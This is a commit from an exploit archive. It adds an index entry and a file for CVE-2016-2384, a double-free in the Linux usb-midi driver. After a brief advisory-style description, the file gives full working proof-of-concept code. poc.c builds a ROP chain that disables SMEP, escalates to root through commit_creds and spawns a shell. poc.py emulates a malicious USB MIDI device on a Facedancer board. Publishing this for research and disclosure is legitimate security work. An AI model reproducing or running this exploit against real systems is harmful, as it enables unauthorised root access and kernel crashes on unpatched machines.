DB: 2017-05-14
1 new exploits Linux Kernel 3.11 < 4.8 0 - 'SO_SNDBUFFORCE' & 'SO_RCVBUFFORCE' Local Privilege Escalation Linux Kernel 3.x (Ubuntu 14.04 / Mint 17.3 / Fedora 22) - Double-free usb-midi SMEP Local Privilege Escalation
This commit is contained in:
parent
66b205e6c7
commit
b8fcb1ba1f
2 changed files with 564 additions and 1 deletions
|
@ -8980,7 +8980,8 @@ id,file,description,date,author,platform,type,port
|
|||
41972,platforms/windows/local/41972.txt,"Gemalto SmartDiag Diagnosis Tool < 2.5 - Buffer Overflow (SEH)",2017-05-08,"Majid Alqabandi",windows,local,0
|
||||
41973,platforms/linux/local/41973.txt,"Xen 64bit PV Guest - pagetable use-after-type-change Breakout",2017-05-08,"Google Security Research",linux,local,0
|
||||
41994,platforms/linux/local/41994.c,"Linux Kernel 4.8.0 (Ubuntu) - Packet Socket Local Privilege Escalation",2017-05-11,"Andrey Konovalov",linux,local,0
|
||||
41995,platforms/linux/local/41995.c,"Linux Kernel 3.11 < 4.8 0 - 'SO_SNDBUFFORCE' & 'SO_RCVBUFFORCE' Local Privilege Escalation",2017-02-22,"Andrey Konovalov",linux,local,0
|
||||
41995,platforms/linux/local/41995.c,"Linux Kernel 3.11 < 4.8 0 - 'SO_SNDBUFFORCE' & 'SO_RCVBUFFORCE' Local Privilege Escalation",2017-03-22,"Andrey Konovalov",linux,local,0
|
||||
41999,platforms/linux/local/41999.txt,"Linux Kernel 3.x (Ubuntu 14.04 / Mint 17.3 / Fedora 22) - Double-free usb-midi SMEP Local Privilege Escalation",2016-02-22,"Andrey Konovalov",linux,local,0
|
||||
1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80
|
||||
2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80
|
||||
5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139
|
||||
|
|
Can't render this file because it is too large.
|
562
platforms/linux/local/41999.txt
Executable file
562
platforms/linux/local/41999.txt
Executable file
|
@ -0,0 +1,562 @@
|
|||
Source: https://xairy.github.io/blog/2016/cve-2016-2384
|
||||
Source: https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-2384
|
||||
Source: https://www.youtube.com/watch?v=lfl1NJn1nvo
|
||||
|
||||
Exploit-DB Note: This requires physical access to the machine, as well as local access on the system.
|
||||
|
||||
- - -
|
||||
|
||||
This post describes an exploitable vulnerability (CVE-2016-2384 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2384) in the usb-midi Linux kernel driver. The vulnerability is present only if the usb-midi module is enabled, but as far as I can see many modern distributions do this. The bug has been fixed upstream (https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=07d86ca93db7e5cdf4743564d98292042ec21af7).
|
||||
|
||||
The vulnerability can be exploited in two ways:
|
||||
|
||||
- Denial of service. Requires physical access (ability to plug in a malicious USB device). All the kernel versions seem to be vulnerable to this attack. I managed to cause a kernel panic on real machines with the following kernels: Ubuntu 14.04 (3.19.0-49-generic), Linux Mint 17.3 (3.19.0-32-generic), Fedora 22 (4.1.5-200.fe22.x86_64) and CentOS 6 (2.6.32-584.12.2.e16.x86_64).
|
||||
|
||||
- Arbitrary code execution with ring 0 privileges (and therefore a privilege escalation). Requires both physical and local access (ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user). All the kernel versions starting from v3.0 seem to be vulnerable to this attack. I managed to gain root privileges on real machines with the following kernels: Ubuntu 14.04 (3.19.0-49-generic), Linux Mint 17.3 (3.19.0-32-generic) and Fedora 22 (4.1.5-200.fe22.x86_64). All machines had SMEP turned on, but didn't have SMAP.
|
||||
|
||||
A proof-of-concept exploit (poc.c - https://github.com/xairy/kernel-exploits/blob/master/CVE-2016-2384/poc.c, poc.py - https://github.com/xairy/kernel-exploits/blob/master/CVE-2016-2384/poc.py) is provided for both types of attacks. The provided exploit uses a Facedancer21 (http://goodfet.sourceforge.net/hardware/facedancer21/) board to physically emulate the malicious USB device. The provided exploit bypasses SMEP, but doesn't bypass SMAP (though it might be possible to do). It has about 50% success rate (the kernel crashes on failure), but this can probably be improved. Check out the demo video (https://www.youtube.com/watch?v=lfl1NJn1nvo).
|
||||
|
||||
It should actually be possible to make the entire exploit for the arbitrary code execution hardware only and therefore eliminate the local access requirement, but this approach wasn't thoroughly investigated.
|
||||
|
||||
The vulnerability was found with KASAN (https://github.com/google/kasan) (KernelAddressSanitizer, a kernel memory error detector) and vUSBf (https://github.com/schumilo/vUSBf) (a virtual usb fuzzer).
|
||||
|
||||
|
||||
--- poc.c ---
|
||||
// A part of the proof-of-concept exploit for the vulnerability in the usb-midi
|
||||
// driver. Meant to be used in conjuction with a hardware usb emulator, which
|
||||
// emulates a particular malicious usb device (a Facedancer21 for example).
|
||||
//
|
||||
// Andrey Konovalov <andreyknvl@gmail.com>
|
||||
//
|
||||
// Usage:
|
||||
// // Edit source to set addresses of the kernel symbols and the ROP gadgets.
|
||||
// $ gcc poc.c -masm=intel
|
||||
// // Run N instances of the binary with the argument increasing from 0 to N,
|
||||
// // where N is the number of cpus on your machine.
|
||||
// $ ./a.out 0 & ./a.out 1 & ...
|
||||
// [+] starting as: uid=1000, euid=1000
|
||||
// [+] payload addr: 0x400b60
|
||||
// [+] fake stack mmaped
|
||||
// [+] plug in the usb device...
|
||||
// // Now plug in the device a few times.
|
||||
// // In one of the instances you will get (if the kernel doesn't crash):
|
||||
// [+] got r00t: uid=0, euid=0
|
||||
// # id
|
||||
// uid=0(root) gid=0(root) groups=0(root)
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <netinet/ip.h>
|
||||
|
||||
#include <assert.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/syscall.h>
|
||||
|
||||
#include <arpa/inet.h>
|
||||
|
||||
// You need to set these based on your kernel.
|
||||
// To easiest way to obtain the addresses of commit_creds and prepare_kernel_cred
|
||||
// is to boot your kernel and grep /proc/kallsyms for them.
|
||||
// The easiest way to obtain the gadgets addresses is to use the ROPgadget util.
|
||||
// Note that all of the used gadgets must preserve the initial value of the rbp
|
||||
// register, since this value is used later on to restore rsp.
|
||||
// The value of CR4_DESIRED_VALUE must have the SMEP bit disabled.
|
||||
|
||||
#define COMMIT_CREDS 0xffffffff810957e0L
|
||||
#define PREPARE_KERNEL_CRED 0xffffffff81095ae0L
|
||||
|
||||
#define XCHG_EAX_ESP_RET 0xffffffff8100008aL
|
||||
|
||||
#define POP_RDI_RET 0xffffffff8118991dL
|
||||
#define MOV_DWORD_PTR_RDI_EAX_RET 0xffffffff810fff17L
|
||||
#define MOV_CR4_RDI_RET 0xffffffff8105b8f0L
|
||||
#define POP_RCX_RET 0xffffffff810053bcL
|
||||
#define JMP_RCX 0xffffffff81040a90L
|
||||
|
||||
#define CR4_DESIRED_VALUE 0x407f0
|
||||
|
||||
// Payload. Saves eax, which holds the 32 lower bits of the old esp value,
|
||||
// disables SMEP, restores rsp, obtains root, jumps back to the caller.
|
||||
|
||||
#define CHAIN_SAVE_EAX \
|
||||
*stack++ = POP_RDI_RET; \
|
||||
*stack++ = (uint64_t)&saved_eax; \
|
||||
*stack++ = MOV_DWORD_PTR_RDI_EAX_RET;
|
||||
|
||||
#define CHAIN_SET_CR4 \
|
||||
*stack++ = POP_RDI_RET; \
|
||||
*stack++ = CR4_DESIRED_VALUE; \
|
||||
*stack++ = MOV_CR4_RDI_RET; \
|
||||
|
||||
#define CHAIN_JMP_PAYLOAD \
|
||||
*stack++ = POP_RCX_RET; \
|
||||
*stack++ = (uint64_t)&payload; \
|
||||
*stack++ = JMP_RCX; \
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
|
||||
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
|
||||
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
|
||||
|
||||
void get_root(void) {
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
}
|
||||
|
||||
uint64_t saved_eax;
|
||||
|
||||
// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
|
||||
// can be used to omit a function's prologue, so I had to use this weird
|
||||
// wrapper hack as a workaround. Note: Clang does support it, which means it
|
||||
// has better support of GCC attributes than GCC itself. Funny.
|
||||
void wrapper() {
|
||||
asm volatile (" \n\
|
||||
payload: \n\
|
||||
movq %%rbp, %%rax \n\
|
||||
movq $0xffffffff00000000, %%rdx \n\
|
||||
andq %%rdx, %%rax \n\
|
||||
movq %0, %%rdx \n\
|
||||
addq %%rdx, %%rax \n\
|
||||
movq %%rax, %%rsp \n\
|
||||
jmp get_root \n\
|
||||
" : : "m"(saved_eax) : );
|
||||
}
|
||||
|
||||
void payload();
|
||||
|
||||
// Kernel structs.
|
||||
|
||||
struct ubuf_info {
|
||||
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
|
||||
uint64_t ctx; // void *
|
||||
uint64_t desc; // unsigned long
|
||||
};
|
||||
|
||||
struct skb_shared_info {
|
||||
uint8_t nr_frags; // unsigned char
|
||||
uint8_t tx_flags; // __u8
|
||||
uint16_t gso_size; // unsigned short
|
||||
uint16_t gso_segs; // unsigned short
|
||||
uint16_t gso_type; // unsigned short
|
||||
uint64_t frag_list; // struct sk_buff *
|
||||
uint64_t hwtstamps; // struct skb_shared_hwtstamps
|
||||
uint32_t tskey; // u32
|
||||
uint32_t ip6_frag_id; // __be32
|
||||
uint32_t dataref; // atomic_t
|
||||
uint64_t destructor_arg; // void *
|
||||
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
|
||||
};
|
||||
|
||||
#define MIDI_MAX_ENDPOINTS 2
|
||||
|
||||
struct snd_usb_midi {
|
||||
uint8_t bullshit[240];
|
||||
|
||||
struct snd_usb_midi_endpoint {
|
||||
uint64_t out; // struct snd_usb_midi_out_endpoint *
|
||||
uint64_t in; // struct snd_usb_midi_in_endpoint *
|
||||
} endpoints[MIDI_MAX_ENDPOINTS];
|
||||
|
||||
// More bullshit.
|
||||
};
|
||||
|
||||
// Init buffer for overwriting a skbuff object.
|
||||
|
||||
struct ubuf_info ui;
|
||||
|
||||
void init_buffer(char* buffer) {
|
||||
struct skb_shared_info *ssi = (struct skb_shared_info *)&buffer[192];
|
||||
struct snd_usb_midi *midi = (struct snd_usb_midi *)&buffer[0];
|
||||
int i;
|
||||
|
||||
ssi->tx_flags = 0xff;
|
||||
ssi->destructor_arg = (uint64_t)&ui;
|
||||
ui.callback = XCHG_EAX_ESP_RET;
|
||||
|
||||
// Prevents some crashes.
|
||||
ssi->nr_frags = 0;
|
||||
|
||||
// Prevents some crashes.
|
||||
ssi->frag_list = 0;
|
||||
|
||||
// Prevents some crashes.
|
||||
for (i = 0; i < MIDI_MAX_ENDPOINTS; i++) {
|
||||
midi->endpoints[i].out = 0;
|
||||
midi->endpoints[i].in = 0;
|
||||
}
|
||||
}
|
||||
|
||||
// Map a fake stack where the ROP payload resides.
|
||||
|
||||
void mmap_stack() {
|
||||
uint64_t stack_addr;
|
||||
int stack_offset;
|
||||
uint64_t* stack;
|
||||
int page_size;
|
||||
|
||||
page_size = getpagesize();
|
||||
|
||||
stack_addr = (XCHG_EAX_ESP_RET & 0x00000000ffffffffL) & ~(page_size - 1);
|
||||
stack_offset = XCHG_EAX_ESP_RET % page_size;
|
||||
|
||||
stack = mmap((void *)stack_addr, page_size, PROT_READ | PROT_WRITE,
|
||||
MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
|
||||
if (stack == MAP_FAILED) {
|
||||
perror("[-] mmap()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
stack = (uint64_t *)((char *)stack + stack_offset);
|
||||
|
||||
CHAIN_SAVE_EAX;
|
||||
CHAIN_SET_CR4;
|
||||
CHAIN_JMP_PAYLOAD;
|
||||
}
|
||||
|
||||
// Sending control messages.
|
||||
|
||||
int socket_open(int port) {
|
||||
int sock;
|
||||
struct sockaddr_in sa;
|
||||
|
||||
sock = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
if (sock == -1) {
|
||||
perror("[-] socket()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
sa.sin_port = htons(port);
|
||||
if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
|
||||
perror("[-] connect()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return sock;
|
||||
}
|
||||
|
||||
void socket_close(int sock) {
|
||||
close(sock);
|
||||
}
|
||||
|
||||
void socket_sendmmsg(int sock) {
|
||||
struct mmsghdr msg[1];
|
||||
struct iovec msg2;
|
||||
int rv;
|
||||
char buffer[512];
|
||||
|
||||
memset(&msg2, 0, sizeof(msg2));
|
||||
msg2.iov_base = &buffer[0];
|
||||
msg2.iov_len = 512;
|
||||
|
||||
memset(msg, 0, sizeof(msg));
|
||||
msg[0].msg_hdr.msg_iov = &msg2;
|
||||
msg[0].msg_hdr.msg_iovlen = 1;
|
||||
|
||||
memset(&buffer[0], 0xa1, 512);
|
||||
|
||||
struct cmsghdr *hdr = (struct cmsghdr *)&buffer[0];
|
||||
hdr->cmsg_len = 512;
|
||||
hdr->cmsg_level = SOL_IP + 1;
|
||||
|
||||
init_buffer(&buffer[0]);
|
||||
|
||||
msg[0].msg_hdr.msg_control = &buffer[0];
|
||||
msg[0].msg_hdr.msg_controllen = 512;
|
||||
|
||||
rv = syscall(__NR_sendmmsg, sock, msg, 1, 0);
|
||||
if (rv == -1) {
|
||||
perror("[-] sendmmsg()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
// Allocating and freeing skbuffs.
|
||||
|
||||
struct sockaddr_in server_si_self;
|
||||
|
||||
struct sockaddr_in client_si_other;
|
||||
|
||||
int init_server(int port) {
|
||||
int sock;
|
||||
int rv;
|
||||
|
||||
sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
||||
if (sock == -1) {
|
||||
perror("[-] socket()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
memset(&server_si_self, 0, sizeof(server_si_self));
|
||||
server_si_self.sin_family = AF_INET;
|
||||
server_si_self.sin_port = htons(port);
|
||||
server_si_self.sin_addr.s_addr = htonl(INADDR_ANY);
|
||||
|
||||
rv = bind(sock, (struct sockaddr *)&server_si_self,
|
||||
sizeof(server_si_self));
|
||||
if (rv == -1) {
|
||||
perror("[-] bind()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return sock;
|
||||
}
|
||||
|
||||
int init_client(int port) {
|
||||
int sock;
|
||||
int rv;
|
||||
|
||||
sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
||||
if (sock == -1) {
|
||||
perror("[-] socket()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
memset(&client_si_other, 0, sizeof(client_si_other));
|
||||
client_si_other.sin_family = AF_INET;
|
||||
client_si_other.sin_port = htons(port);
|
||||
|
||||
rv = inet_aton("127.0.0.1", &client_si_other.sin_addr);
|
||||
if (rv == 0) {
|
||||
perror("[-] inet_aton()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return sock;
|
||||
}
|
||||
|
||||
void client_send_message(int sock) {
|
||||
int rv;
|
||||
// Messages of 128 bytes result in 512 bytes skbuffs.
|
||||
char sent_message[128] = { 0x10 };
|
||||
|
||||
rv = sendto(sock, &sent_message[0], 128, 0,
|
||||
(struct sockaddr *)&client_si_other,
|
||||
sizeof(client_si_other));
|
||||
if (rv == -1) {
|
||||
perror("[-] sendto()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void destroy_server(int sock) {
|
||||
close(sock);
|
||||
}
|
||||
|
||||
void destroy_client(int sock) {
|
||||
close(sock);
|
||||
}
|
||||
|
||||
// Checking root.
|
||||
|
||||
void exec_shell() {
|
||||
char *args[] = {"/bin/sh", "-i", NULL};
|
||||
execve("/bin/sh", args, NULL);
|
||||
}
|
||||
|
||||
void fork_shell() {
|
||||
pid_t rv;
|
||||
|
||||
rv = fork();
|
||||
if (rv == -1) {
|
||||
perror("[-] fork()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (rv == 0) {
|
||||
exec_shell();
|
||||
}
|
||||
|
||||
while (true) {
|
||||
sleep(1);
|
||||
}
|
||||
}
|
||||
|
||||
bool is_root() {
|
||||
return getuid() == 0;
|
||||
}
|
||||
|
||||
void check_root() {
|
||||
if (!is_root())
|
||||
return;
|
||||
|
||||
printf("[+] got r00t: uid=%d, euid=%d\n", getuid(), geteuid());
|
||||
|
||||
// Fork and exec instead of just doing the exec to avoid freeing skbuffs
|
||||
// and prevent some crashes due to a allocator corruption.
|
||||
fork_shell();
|
||||
}
|
||||
|
||||
// Main.
|
||||
|
||||
#define PORT_BASE_1 4100
|
||||
#define PORT_BASE_2 4200
|
||||
#define PORT_BASE_3 4300
|
||||
|
||||
#define SKBUFFS_NUM 64
|
||||
#define MMSGS_NUM 256
|
||||
|
||||
int server_sock;
|
||||
int client_sock;
|
||||
|
||||
void step_begin(int id) {
|
||||
int i;
|
||||
|
||||
server_sock = init_server(PORT_BASE_2 + id);
|
||||
client_sock = init_client(PORT_BASE_2 + id);
|
||||
|
||||
for (i = 0; i < SKBUFFS_NUM; i++) {
|
||||
client_send_message(client_sock);
|
||||
}
|
||||
|
||||
for (i = 0; i < MMSGS_NUM; i++) {
|
||||
int sock = socket_open(PORT_BASE_3 + id);
|
||||
socket_sendmmsg(sock);
|
||||
socket_close(sock);
|
||||
}
|
||||
}
|
||||
|
||||
void step_end(int id) {
|
||||
destroy_server(server_sock);
|
||||
destroy_client(client_sock);
|
||||
}
|
||||
|
||||
void body(int id) {
|
||||
int server_sock, client_sock, i;
|
||||
|
||||
server_sock = init_server(PORT_BASE_1 + id);
|
||||
client_sock = init_client(PORT_BASE_1 + id);
|
||||
|
||||
for (i = 0; i < 512; i++)
|
||||
client_send_message(client_sock);
|
||||
|
||||
while (true) {
|
||||
step_begin(id);
|
||||
check_root();
|
||||
step_end(id);
|
||||
}
|
||||
}
|
||||
|
||||
bool parse_int(const char *input, int *output) {
|
||||
char* wrong_token = NULL;
|
||||
int result = strtol(input, &wrong_token, 10);
|
||||
if (*wrong_token != '\0') {
|
||||
return false;
|
||||
}
|
||||
*output = result;
|
||||
return true;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
bool rv;
|
||||
int id;
|
||||
|
||||
if (argc != 2) {
|
||||
printf("Usage: %s <instance_id>\n", argv[0]);
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
|
||||
rv = parse_int(argv[1], &id);
|
||||
if (!rv) {
|
||||
printf("Usage: %s <instance_id>\n", argv[0]);
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
|
||||
printf("[+] starting as: uid=%d, euid=%d\n", getuid(), geteuid());
|
||||
|
||||
printf("[+] payload addr: %p\n", &payload);
|
||||
|
||||
mmap_stack();
|
||||
printf("[+] fake stack mmaped\n");
|
||||
|
||||
printf("[+] plug in the usb device...\n");
|
||||
|
||||
body(id);
|
||||
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
--- EOF ---
|
||||
|
||||
|
||||
---poc.py---
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# A part of the proof-of-concept exploit for the vulnerability in the usb-midi
|
||||
# driver. Can be used on it's own for a denial of service attack. Should be
|
||||
# used in conjuction with a userspace part for an arbitrary code execution
|
||||
# attack.
|
||||
#
|
||||
# Requires a Facedancer21 board
|
||||
# (http://goodfet.sourceforge.net/hardware/facedancer21/).
|
||||
#
|
||||
# Andrey Konovalov <anreyknvl@gmail.com>
|
||||
|
||||
from USB import *
|
||||
from USBDevice import *
|
||||
from USBConfiguration import *
|
||||
from USBInterface import *
|
||||
|
||||
class PwnUSBDevice(USBDevice):
|
||||
name = "USB device"
|
||||
|
||||
def __init__(self, maxusb_app, verbose=0):
|
||||
interface = USBInterface(
|
||||
0, # interface number
|
||||
0, # alternate setting
|
||||
255, # interface class
|
||||
0, # subclass
|
||||
0, # protocol
|
||||
0, # string index
|
||||
verbose,
|
||||
[],
|
||||
{}
|
||||
)
|
||||
|
||||
config = USBConfiguration(
|
||||
1, # index
|
||||
"Emulated Device", # string desc
|
||||
[ interface ] # interfaces
|
||||
)
|
||||
|
||||
USBDevice.__init__(
|
||||
self,
|
||||
maxusb_app,
|
||||
0, # device class
|
||||
0, # device subclass
|
||||
0, # protocol release number
|
||||
64, # max packet size for endpoint 0
|
||||
0x0763, # vendor id
|
||||
0x1002, # product id
|
||||
0, # device revision
|
||||
"Midiman", # manufacturer string
|
||||
"MidiSport 2x2", # product string
|
||||
"?", # serial number string
|
||||
[ config ],
|
||||
verbose=verbose
|
||||
)
|
||||
|
||||
from Facedancer import *
|
||||
from MAXUSBApp import *
|
||||
|
||||
sp = GoodFETSerialPort()
|
||||
fd = Facedancer(sp, verbose=1)
|
||||
u = MAXUSBApp(fd, verbose=1)
|
||||
|
||||
d = PwnUSBDevice(u, verbose=4)
|
||||
|
||||
d.connect()
|
||||
|
||||
try:
|
||||
d.run()
|
||||
except KeyboardInterrupt:
|
||||
d.disconnect()
|
||||
---EOF---
|
Loading…
Add table
Reference in a new issue